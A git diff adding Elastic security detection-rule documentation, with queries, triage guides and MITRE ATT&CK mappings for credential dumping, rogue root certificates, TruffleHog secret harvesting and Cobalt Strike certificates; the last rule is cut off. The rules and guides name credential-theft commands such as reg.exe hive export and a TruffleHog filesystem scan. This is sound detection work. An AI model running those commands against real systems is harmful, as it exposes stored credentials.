file mode 100644 index 0000000000..515b27b973 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-creation-or-modification-of-domain-backup-dpapi-private-key.asciidoc @@ -0,0 +1,100 @@ +[[prebuilt-rule-8-19-21-creation-or-modification-of-domain-backup-dpapi-private-key]] +=== Creation or Modification of Domain Backup DPAPI private key + +Identifies the creation or modification of Domain Backup private keys. Adversaries may extract the Data Protection API (DPAPI) domain backup key from a Domain Controller (DC) to be able to decrypt any domain user master key file. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.dsinternals.com/en/retrieving-dpapi-backup-keys-from-active-directory/ +* https://posts.specterops.io/operational-guidance-for-offensive-user-dpapi-abuse-1fb7fac8b107 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 417 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +Domain DPAPI Backup keys are stored on domain controllers and can be dumped remotely with tools such as Mimikatz. The resulting .pvk private key can be used to decrypt ANY domain user masterkeys, which then can be used to decrypt any secrets protected by those keys. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type != "deletion" and file.name : ("ntds_capi_*.pfx", "ntds_capi_*.pvk") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: NTDS +** ID: T1003.003 +** Reference URL: https://attack.mitre.org/techniques/T1003/003/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Private Keys +** ID: T1552.004 +** Reference URL: https://attack.mitre.org/techniques/T1552/004/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-creation-or-modification-of-root-certificate.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-creation-or-modification-of-root-certificate.asciidoc new file mode 100644 index 0000000000..66f4038fbf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-creation-or-modification-of-root-certificate.asciidoc @@ -0,0 +1,199 @@ +[[prebuilt-rule-8-19-21-creation-or-modification-of-root-certificate]] +=== Creation or Modification of Root Certificate + +Identifies the creation or modification of a local trusted root certificate in Windows. The install of a malicious root certificate would allow an attacker the ability to masquerade malicious files as valid signed components from any entity (for example, Microsoft). It could also allow an attacker to decrypt SSL traffic. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec +* https://www.ired.team/offensive-security/persistence/t1130-install-root-certificate + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne + +*Version*: 316 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Creation or Modification of Root Certificate* + + +Root certificates are the primary level of certifications that tell a browser that the communication is trusted and legitimate. This verification is based upon the identification of a certification authority. Windows adds several trusted root certificates so browsers can use them to communicate with websites. + +https://www.thewindowsclub.com/what-are-root-certificates-windows[Check out this post] for more details on root certificates and the involved cryptography. + +This rule identifies the creation or modification of a root certificate by monitoring registry modifications. The installation of a malicious root certificate would allow an attacker the ability to masquerade malicious files as valid signed components from any entity (for example, Microsoft). It could also allow an attacker to decrypt SSL traffic. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate abnormal behaviors observed by the subject process such as network connections, other registry or file modifications, and any spawned child processes. +- If one of the processes is suspicious, retrieve it and determine if it is malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - File and registry access, modification, and creation activities. + - Service creation and launch activities. + - Scheduled task creation. + - Use the PowerShell `Get-FileHash` cmdlet to get the files' SHA-256 hash values. + - Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This detection may be triggered by certain applications that install root certificates for the purpose of inspecting SSL traffic. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove the malicious certificate from the root certificate store. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and registry.value : "Blob" and + registry.path : + ( + "HKLM\\Software\\Microsoft\\SystemCertificates\\Root\\Certificates\\*\\Blob", + "HKLM\\Software\\Microsoft\\SystemCertificates\\AuthRoot\\Certificates\\*\\Blob", + "HKLM\\Software\\Policies\\Microsoft\\SystemCertificates\\Root\\Certificates\\*\\Blob", + "HKLM\\Software\\Policies\\Microsoft\\SystemCertificates\\AuthRoot\\Certificates\\*\\Blob", + "\\REGISTRY\\MACHINE\\Software\\Microsoft\\SystemCertificates\\Root\\Certificates\\*\\Blob", + "\\REGISTRY\\MACHINE\\Software\\Microsoft\\SystemCertificates\\AuthRoot\\Certificates\\*\\Blob", + "\\REGISTRY\\MACHINE\\Software\\Policies\\Microsoft\\SystemCertificates\\Root\\Certificates\\*\\Blob", + "\\REGISTRY\\MACHINE\\Software\\Policies\\Microsoft\\SystemCertificates\\AuthRoot\\Certificates\\*\\Blob", + "MACHINE\\Software\\Microsoft\\SystemCertificates\\Root\\Certificates\\*\\Blob", + "MACHINE\\Software\\Microsoft\\SystemCertificates\\AuthRoot\\Certificates\\*\\Blob", + "MACHINE\\Software\\Policies\\Microsoft\\SystemCertificates\\Root\\Certificates\\*\\Blob", + "MACHINE\\Software\\Policies\\Microsoft\\SystemCertificates\\AuthRoot\\Certificates\\*\\Blob" + ) and + not process.executable : ( + "?:\\Program Files (x86)\\*.exe", + "?:\\Program Files\\*.exe", + "?:\\ProgramData\\bomgar-*\\*\\sra-pin.exe", + "?:\\ProgramData\\bomgar-*\\*\\bomgar-scc.exe", + "?:\\ProgramData\\CTES\\Ctes.exe", + "?:\\ProgramData\\CTES\\Components\\SNG\\AbtSngSvc.exe", + "?:\\ProgramData\\CTES\\Components\\SVC\\CtesHostSvc.exe", + "?:\\ProgramData\\Lenovo\\Vantage\\Addins\\LenovoHardwareScanAddin\\*\\LdeApi.Server.exe", + "?:\\ProgramData\\Logishrd\\LogiOptionsPlus\\Plugins\\64\\certmgr.exe", + "?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\*\\*.exe", + "?:\\ProgramData\\Quest\\KACE\\modules\\clientidentifier\\clientidentifier.exe", + "?:\\ProgramData\\Sophos\\AutoUpdate\\Cache\\sophos_autoupdate1.dir\\*.exe", + "?:\\ProgramData\\tychoncloud\\bin\\OVAL\\tvs.exe", + "?:\\Windows\\CCM\\CcmEval.exe", + "?:\\Windows\\CCM\\CcmExec.exe", + "?:\\Windows\\ccmsetup\\autoupgrade\\ccmsetup*.exe", + "?:\\Windows\\ccmsetup\\cache\\ccmsetup.exe", + "?:\\Windows\\ccmsetup\\ccmsetup.exe", + "?:\\Windows\\Cluster\\clussvc.exe", + "?:\\Windows\\ImmersiveControlPanel\\SystemSettings.exe", + "?:\\Windows\\Lenovo\\ImController\\PluginHost86\\Lenovo.Modern.ImController.PluginHost.Device.exe", + "?:\\Windows\\Lenovo\\ImController\\Service\\Lenovo.Modern.ImController.exe", + "?:\\Windows\\Sysmon.exe", + "?:\\Windows\\Sysmon64.exe", + "?:\\Windows\\UUS\\amd64\\MoUsoCoreWorker.exe", + "?:\\Windows\\UUS\\amd64\\WaaSMedicAgent.exe", + "?:\\Windows\\UUS\\Packages\\Preview\\amd64\\MoUsoCoreWorker.exe", + "?:\\Windows\\WinSxS\\*.exe" + ) and + not + ( + process.executable : ( + "?:\\Windows\\System32\\*.exe", + "?:\\Windows\\SysWOW64\\*.exe" + ) and + not process.name : ( + "rundll32.exe", "mshta.exe", "powershell.exe", "pwsh.exe", "cmd.exe", "expand.exe", + "regsvr32.exe", "cscript.exe", "wscript.exe", "wmiprvse.exe", "certutil.exe", "xcopy.exe" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Subvert Trust Controls +** ID: T1553 +** Reference URL: https://attack.mitre.org/techniques/T1553/ +* Sub-technique: +** Name: Install Root Certificate +** ID: T1553.004 +** Reference URL: https://attack.mitre.org/techniques/T1553/004/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-credential-access-via-trufflehog-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-credential-access-via-trufflehog-execution.asciidoc new file mode 100644 index 0000000000..3618fa38e7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-credential-access-via-trufflehog-execution.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-21-credential-access-via-trufflehog-execution]] +=== Credential Access via TruffleHog Execution + +This rule detects the execution of TruffleHog, a tool used to search for high-entropy strings and secrets in code repositories, which may indicate an attempt to access credentials. This tool was abused by the Shai-Hulud worm to search for credentials in code repositories. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/blog/shai-hulud-worm-npm-supply-chain-compromise +* https://socket.dev/blog/shai-hulud-strikes-again-v2 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Data Source: Auditd Manager +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Credential Access via TruffleHog Execution* + + +This rule flags TruffleHog executed to scan the local filesystem with verified JSON results, a direct path to harvesting secrets from source code, configs, and build artifacts. Attackers gain shell access on a developer workstation or CI runner, clone or point to internal repositories, run 'trufflehog --results=verified --json filesystem .' to enumerate valid tokens, and then pivot using the recovered keys to pull private code or authenticate to cloud and CI/CD systems. + + +*Possible investigation steps* + + +- Review binary path, code signature/hash, parent process chain, initiating user, and host role (developer workstation vs CI runner) to quickly decide if the execution matches an approved secret-scanning job or an ad‑hoc run. +- Determine the working directory and target path used by the scan to identify which repositories or configuration directories were inspected and whether sensitive files (e.g., .env, deployment keys, build secrets) were in scope. +- Pivot to same-session activity to spot credential use or exfiltration by correlating subsequent outbound connections to git remotes or cloud/CI APIs and launches of developer CLIs like git, gh, aws, az, gcloud, docker, kubectl, or vault. +- Look for output artifacts and exfil channels by checking for creation or deletion of JSON reports or archives, clipboard access, or piping of results to curl/wget/netcat and whether those artifacts were emailed or uploaded externally. +- Cross-check VCS and CI/CD audit logs for this identity and host for unusual pushes, pipeline changes, or new tokens issued shortly after the scan, which may indicate worm-like propagation or credential abuse. + + +*False positive analysis* + + +- An approved secret-scanning task by a developer or security engineer runs trufflehog with --results=verified --json filesystem to audit local code and configuration, producing benign activity on a development host. +- An internal automation or scheduled job invokes trufflehog to baseline filesystem secrets for compliance or hygiene checks, leading to expected process-start logs without credential abuse. + + +*Response and remediation* + + +- Immediately isolate the host or CI runner, terminate the trufflehog process and its parent shell/script, and block egress to git remotes and cloud APIs from that asset. +- Collect the verified findings from trufflehog output (stdout or JSON file), revoke and rotate any listed secrets (GitHub personal access tokens, AWS access keys, Azure service principal credentials, CI job tokens), and clear credential caches on the host. +- Remove unauthorized trufflehog binaries/packages, helper scripts, and scheduled tasks; delete report files and scanned working directories (local repo clones, .env/config folders), and purge shell history containing exfil commands like curl/wget/netcat. +- Restore the workstation or runner from a known-good image if tampering is suspected, re-enroll endpoint protection, reissue required developer or CI credentials with least privilege, and validate normal pulls to internal git and cloud services. +- Escalate to full incident response if trufflehog ran under a service account, on a build server/CI runner, or if any discovered secret was used to authenticate to external git remotes (e.g., github.com), cloud APIs, or private registries in the same session. +- Harden by blocking unapproved trufflehog execution via application control, moving approved secret scanning to a locked-down pipeline, enforcing short-lived PATs and key rotation, enabling egress filtering from developer hosts/runners, and deploying fleet-wide detections for "trufflehog --results=verified --json filesystem". + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and process.name : ("trufflehog.exe", "trufflehog") and +process.args == "--json" and process.args == "filesystem" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-credential-acquisition-via-registry-hive-dumping.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-credential-acquisition-via-registry-hive-dumping.asciidoc new file mode 100644 index 0000000000..55f1978527 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-credential-acquisition-via-registry-hive-dumping.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-21-credential-acquisition-via-registry-hive-dumping]] +=== Credential Acquisition via Registry Hive Dumping + +Identifies attempts to export a registry hive which may contain credentials using the Windows reg.exe tool. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-the-registry-7512674487f8 +* https://www.elastic.co/security-labs/detect-credential-access + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Sysmon +* Data Source: Crowdstrike + +*Version*: 316 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Credential Acquisition via Registry Hive Dumping* + + +Dumping registry hives is a common way to access credential information as some hives store credential material. + +For example, the SAM hive stores locally cached credentials (SAM Secrets), and the SECURITY hive stores domain cached credentials (LSA secrets). + +Dumping these hives in combination with the SYSTEM hive enables the attacker to decrypt these secrets. + +This rule identifies the usage of `reg.exe` to dump SECURITY and/or SAM hives, which potentially indicates the compromise of the credentials stored in the host. + + +*Possible investigation steps* + + +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate if the credential material was exfiltrated or processed locally by other tools. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (e.g., 4624) to the target host. + + +*False positive analysis* + + +- Administrators can export registry hives for backup purposes using command line tools like `reg.exe`. Check whether the user is legitamitely performing this kind of activity. + + +*Related rules* + + +- Registry Hive File Creation via SMB - a4c7473a-5cb4-4bc1-9d06-e4a75adbc494 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Reimage the host operating system and restore compromised files to clean versions. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (?process.pe.original_file_name == "reg.exe" or process.name : "reg.exe") and + process.args : ("save", "export") and + process.args : ("hklm\\sam", "hklm\\security") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: Security Account Manager +** ID: T1003.002 +** Reference URL: https://attack.mitre.org/techniques/T1003/002/ +* Sub-technique: +** Name: LSA Secrets +** ID: T1003.004 +** Reference URL: https://attack.mitre.org/techniques/T1003/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-cyberark-privileged-access-security-error.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-cyberark-privileged-access-security-error.asciidoc new file mode 100644 index 0000000000..b218abdad7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-cyberark-privileged-access-security-error.asciidoc @@ -0,0 +1,81 @@ +[[prebuilt-rule-8-19-21-cyberark-privileged-access-security-error]] +=== CyberArk Privileged Access Security Error + +Identifies the occurrence of a CyberArk Privileged Access Security (PAS) error level audit event. The event.code correlates to the CyberArk Vault Audit Action Code. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-cyberarkpas.audit* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.cyberark.com/Product-Doc/OnlineHelp/PAS/Latest/en/Content/PASREF/Vault%20Audit%20Action%20Codes.htm?tocpath=Administration%7CReferences%7C_____3 + +*Tags*: + +* Data Source: CyberArk PAS +* Use Case: Log Auditing +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 106 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +This is a promotion rule for CyberArk error events, which are alertable events per the vendor. +Consult vendor documentation on interpreting specific events. + +==== Setup + + +The CyberArk Privileged Access Security (PAS) Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:cyberarkpas.audit and event.type:error + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-cyberark-privileged-access-security-recommended-monitor.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-cyberark-privileged-access-security-recommended-monitor.asciidoc new file mode 100644 index 0000000000..da287ccfc7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-cyberark-privileged-access-security-recommended-monitor.asciidoc @@ -0,0 +1,100 @@ +[[prebuilt-rule-8-19-21-cyberark-privileged-access-security-recommended-monitor]] +=== CyberArk Privileged Access Security Recommended Monitor + +Identifies the occurrence of a CyberArk Privileged Access Security (PAS) non-error level audit event which is recommended for monitoring by the vendor. The event.code correlates to the CyberArk Vault Audit Action Code. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-cyberarkpas.audit* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.cyberark.com/Product-Doc/OnlineHelp/PAS/Latest/en/Content/PASREF/Vault%20Audit%20Action%20Codes.htm?tocpath=Administration%7CReferences%7C_____3#RecommendedActionCodesforMonitoring + +*Tags*: + +* Data Source: CyberArk PAS +* Use Case: Log Auditing +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +This is a promotion rule for CyberArk events, which the vendor recommends should be monitored. +Consult vendor documentation on interpreting specific events. + +==== Setup + + +The CyberArk Privileged Access Security (PAS) Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:cyberarkpas.audit and + event.code:(4 or 22 or 24 or 31 or 38 or 57 or 60 or 130 or 295 or 300 or 302 or + 308 or 319 or 344 or 346 or 359 or 361 or 378 or 380 or 411) and + not event.type:error + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-default-cobalt-strike-team-server-certificate.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-default-cobalt-strike-team-server-certificate.asciidoc new file mode 100644 index 0000000000..801484e38a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-default-cobalt-strike-team-server-certificate.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-21-default-cobalt-strike-team-server-certificate]] +=== Default Cobalt Strike Team Server Certificate + +This rule detects the use of the default Cobalt Strike Team Server TLS certificate. Cobalt Strike is software for Adversary Simulations and Red Team Operations which are security assessments that replicate the tactics and techniques of an advanced adversary in a network. Modifications to the Packetbeat configuration can be made to include MD5 and SHA256 hashing algorithms (the default is SHA1). See the References section for additional information on module configuration. + +*Rule type*: query + +*Rule indices*: + +* packetbeat-* +* auditbeat-* +* filebeat-* +* logs-network_traffic.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/software/S0154/ +* https://www.cobaltstrike.com/help-setup-collaboration +* https://www.elastic.co/guide/en/beats/packetbeat/current/configuration-tls.html +* https://www.elastic.co/guide/en/beats/filebeat/7.9/filebeat-module-suricata.html +* https://www.elastic.co/guide/en/beats/filebeat/7.9/filebeat-module-zeek.html +* https://www.elastic.co/security-labs/collecting-cobalt-strike-beacons-with-the-elastic-stack + +*Tags*: + +* Tactic: Command and Control +* Threat: Cobalt Strike +* Use Case: Threat Detection +* Domain: Endpoint +* Resources: Investigation Guide + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Default Cobalt Strike Team Server Certificate* + + +Cobalt Strike is a tool used for simulating advanced cyber threats, often employed by security teams to test defenses. However, adversaries can exploit its default server certificate to establish covert command and control channels. The detection rule identifies this misuse by monitoring network traffic for specific cryptographic hashes associated with the default certificate, flagging potential unauthorized Cobalt Strike activity. + + +*Possible investigation steps* + + +- Review the network traffic logs to identify any connections associated with the specific cryptographic hashes: MD5 (950098276A495286EB2A2556FBAB6D83), SHA1 (6ECE5ECE4192683D2D84E25B0BA7E04F9CB7EB7C), or SHA256 (87F2085C32B6A2CC709B365F55873E207A9CAA10BFFECF2FD16D3CF9D94D390C). +- Identify the source and destination IP addresses involved in the flagged network traffic to determine the potential origin and target of the Cobalt Strike activity. +- Correlate the identified IP addresses with known assets in the network to assess if any internal systems are potentially compromised. +- Check for any other suspicious or anomalous network activities around the same time as the alert to identify potential lateral movement or additional command and control channels. +- Investigate any associated processes or user accounts on the involved systems to determine if there are signs of compromise or unauthorized access. +- Review historical data to see if there have been previous alerts or similar activities involving the same cryptographic hashes or IP addresses, which might indicate a persistent threat. + + +*False positive analysis* + + +- Legitimate security testing activities by internal teams using Cobalt Strike may trigger the rule. Coordinate with security teams to whitelist known testing IP addresses or certificate hashes. +- Some commercial penetration testing services may use Cobalt Strike with default certificates. Verify the legitimacy of such services and exclude their traffic from detection by adding their certificate hashes to an exception list. +- Network appliances or security tools that simulate adversary behavior for training purposes might use similar certificates. Identify these tools and configure exceptions for their specific network traffic patterns. 